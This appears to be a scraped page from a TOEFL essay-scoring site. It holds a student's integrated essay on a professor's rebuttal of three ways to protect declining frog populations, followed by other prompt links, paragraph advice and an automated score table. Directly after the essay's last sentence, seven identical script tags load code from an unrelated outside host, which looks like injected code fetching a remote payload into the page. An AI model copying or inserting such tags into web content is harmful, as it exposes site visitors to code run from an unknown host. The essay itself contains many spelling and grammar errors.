TPO48
The writer and the professor have a debeat on the solutions to prevent the population declining of frogs. The author proposes three solutions including prohibiting pesticides, preventing fungus infection, and protecing habitat by stopping excessive water use. The professor, however, argues that none of these solutions are pragmatic.
To begin with, as opposed to the first solution that proposed by the writer regarding prohibit pesticides usage near sensitive frog populations, the professor contend that the regulation on pesticides in specific area is not economic fair to some farmers. In detail, for the farmers near frog populations, their crops's quality is definitely inferior to those from other areas, which will result in the lose of clients for these framers.
Second, the writer's second solution is prevent infection by antifungal medication or kill fungus. In contrast, the professor holds that this solution is also not practical beacuse this process is difficult and expensive. Specifically, this treatment can only be used on individual frogs, and thus it is onerous to cover a large population of frogs. Besides, even if we accomplish all the process on every frogs, it will not work on their springs. As a result, we are supposed to do such things again and again.
Third, The writer's third solution is protect frogs' habitat by stop excessively waste water since the main threate of the habitat is the human activity about water. But the professor holds that it doesn't hold water. In detail, the professor believes that the main cause of the reduction of population is due to the global warming instead of humans' use of water. Therefore, simply reduce the development of water resource will not help protect frogs' habitat.
In conclusion, the professor thinks that the author's solutions are not effective.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- Do you agree or disagree with the following statement When teachers assign projects on which students must work together the students learn much more effectively than when they are asked to work alone on projects 83
- Your friend is going to reduce the living expenses Which of the following way would you recommend to your friend and why 1 Find a roommate that can share the living expenses 2 Buy the new technology products less frequently 3 Shop for less expensive food 73
- Summarise the points made in the lecture being sure to explain how they case doubt on specific points made in the reading passage TPO40 Many scientists believe it would be possible to maintain a permanent human presence on Mars or the Moon On the other ha 70
- Because the world is changing so quickly people now are less happy or less satisfied with their lives than people were in the past 78
- Do you agree or disagree with the following statement People in the past are more interested in improving their neighbourhood the area where they live than now 73
No. of Words: 293 250
Write the essay in 20 minutes.
Number of Paragraphs: 5 4
better to have 4 paragraphs:
para 1: introduction
para 2: doubt 1
para 3: doubt 2
para 4: doubt 3
Attribute Value Ideal
Final score: 25 in 30
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 7 2
No. of Sentences: 15 12
No. of Words: 293 250
No. of Characters: 1499 1200
No. of Different Words: 160 150
Fourth Root of Number of Words: 4.137 4.2
Average Word Length: 5.116 4.6
Word Length SD: 2.659 2.4
No. of Words greater than 5 chars: 111 80
No. of Words greater than 6 chars: 92 60
No. of Words greater than 7 chars: 66 40
No. of Words greater than 8 chars: 47 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 19.533 21.0
Sentence Length SD: 8.007 7.5
Use of Discourse Markers (%): 0.733 0.12
Sentence-Text Coherence: 0.337 0.35
Sentence-Para Coherence: 0.595 0.50
Sentence-Sentence Coherence: 0.087 0.07
Number of Paragraphs: 5 4